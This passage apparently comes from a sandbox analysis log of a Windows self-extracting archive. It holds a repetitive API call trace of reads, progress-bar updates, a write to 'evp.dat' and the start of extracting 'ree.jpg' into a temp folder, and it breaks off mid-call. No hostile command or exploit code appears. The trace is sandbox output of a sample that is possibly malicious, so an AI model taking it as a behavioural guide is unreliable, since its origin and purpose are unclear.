lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.452] GetTickCount () returned 0x1fbac [0068.452] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.452] ReadFile (in: hFile=0x1c, lpBuffer=0x270438, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270438*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.452] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.452] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.452] GetTickCount () returned 0x1fbac [0068.452] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.452] ReadFile (in: hFile=0x1c, lpBuffer=0x270438, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270438*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.452] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.452] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.452] GetTickCount () returned 0x1fbac [0068.452] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.452] ReadFile (in: hFile=0x1c, lpBuffer=0x270438, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270438*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.452] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.452] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.452] GetTickCount () returned 0x1fbac [0068.452] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.452] ReadFile (in: hFile=0x1c, lpBuffer=0x270438, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270438*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.452] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.452] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.452] GetTickCount () returned 0x1fbac [0068.452] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.452] ReadFile (in: hFile=0x1c, lpBuffer=0x270438, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270438*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.452] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.452] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.452] GetTickCount () returned 0x1fbac [0068.452] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.452] ReadFile (in: hFile=0x1c, lpBuffer=0x270438, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270438*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.452] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.452] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.452] GetTickCount () returned 0x1fbac [0068.453] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.453] ReadFile (in: hFile=0x1c, lpBuffer=0x270438, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270438*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.453] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.453] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.453] GetTickCount () returned 0x1fbac [0068.453] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.453] ReadFile (in: hFile=0x1c, lpBuffer=0x270438, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270438*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.453] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.453] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.453] GetTickCount () returned 0x1fbac [0068.453] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.453] ReadFile (in: hFile=0x1c, lpBuffer=0x270438, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270438*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.453] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.453] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.453] GetTickCount () returned 0x1fbac [0068.453] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.453] ReadFile (in: hFile=0x1c, lpBuffer=0x270438, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270438*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.453] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.453] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.453] GetTickCount () returned 0x1fbac [0068.453] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.453] ReadFile (in: hFile=0x1c, lpBuffer=0x270438, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270438*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.453] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.453] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.453] GetTickCount () returned 0x1fbac [0068.453] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.453] ReadFile (in: hFile=0x1c, lpBuffer=0x270438, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270438*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.453] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.453] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.453] GetTickCount () returned 0x1fbac [0068.453] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.453] ReadFile (in: hFile=0x1c, lpBuffer=0x270438, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270438*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.453] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.453] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.453] GetTickCount () returned 0x1fbac [0068.453] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.453] ReadFile (in: hFile=0x1c, lpBuffer=0x270438, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270438*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.453] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.453] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.453] GetTickCount () returned 0x1fbac [0068.453] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.453] ReadFile (in: hFile=0x1c, lpBuffer=0x270438, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270438*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.453] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.454] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.454] GetTickCount () returned 0x1fbac [0068.454] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.454] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x214, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x214, lpOverlapped=0x0) returned 1 [0068.455] GetTickCount () returned 0x1fbac [0068.455] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0068.455] SetFilePointer (in: hFile=0x1c, lDistanceToMove=872201, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd4f09 [0068.455] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0068.455] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0068.455] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0068.455] CloseHandle (hObject=0x138) returned 1 [0068.455] SetFileAttributesA (lpFileName="evp.dat", dwFileAttributes=0x20) returned 1 [0068.456] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd4f09 [0068.456] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0068.456] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x25, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x25, lpOverlapped=0x0) returned 1 [0068.456] OemToCharA (in: pSrc="ree.jpg", pDst=0x179cc0 | out: pDst="ree.jpg") returned 1 [0068.456] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="ree.jpg", cchCount2=1) returned 1 [0068.456] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="ree.jpg", cchCount2=6) returned 1 [0068.456] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="ree.jpg", cchCount2=-1) returned 1 [0068.456] SetFilePointer (in: hFile=0x1c, lDistanceToMove=872245, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd4f35 [0068.456] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="ree.jpg") returned 8 [0068.457] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x41aab8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0068.457] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting ree.jpg") returned 18 [0068.457] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting ree.jpg") returned 1 [0068.457] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0068.457] OemToCharBuffA (in: lpszSrc="r", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="r") returned 1 [0068.457] CharToOemBuffA (in: lpszSrc="R", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="R") returned 1 [0068.457] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="ree.jpg") returned 8 [0068.457] FindFirstFileW (in: lpFileName="ree.jpg", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0068.457] GetLastError () returned 0x2 [0068.457] GetFileAttributesA (lpFileName="ree.jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ree.jpg")) returned 0xffffffff [0068.457] CreateFileA (lpFileName="ree.jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ree.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0068.457] GetFileType (hFile=0x138) returned 0x1 [0068.457] SetFilePointer (in: hFile=0x138, lDistanceToMove=505, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x1f9 [0068.457] SetEndOfFile (hFile=0x138) returned 1 [0068.458] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0068.458] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x19e, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x19e, lpOverlapped=0x0) returned 1 [0068.458] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.458] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.458] GetTickCount () returned 0x1fbbc [0068.458] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.458] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.458] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.458] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.458] GetTickCount () returned 0x1fbbc [0068.458] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.458] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.458] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.458] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.458] GetTickCount () returned 0x1fbbc [0068.458] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.458] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.458] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.458] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.458] GetTickCount () returned 0x1fbbc [0068.458] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.458] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.458] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.458] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.458] GetTickCount () returned 0x1fbbc [0068.458] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.458] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.458] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.458] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.458] GetTickCount () returned 0x1fbbc [0068.458] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.458] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.458] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.458] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.459] GetTickCount () returned 0x1fbbc [0068.459] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.459] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.459] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.459] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.459] GetTickCount () returned 0x1fbbc [0068.459] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.459] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.459] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.459] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.459] GetTickCount () returned 0x1fbbc [0068.459] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.459] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.459] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.459] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.459] GetTickCount () returned 0x1fbbc [0068.459] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.459] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.459] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.459] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.459] GetTickCount () returned 0x1fbbc [0068.459] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.459] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.459] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.459] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.459] GetTickCount () returned 0x1fbbc [0068.459] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.459] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.459] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.459] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.459] GetTickCount () returned 0x1fbbc [0068.459] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.459] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.459] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, 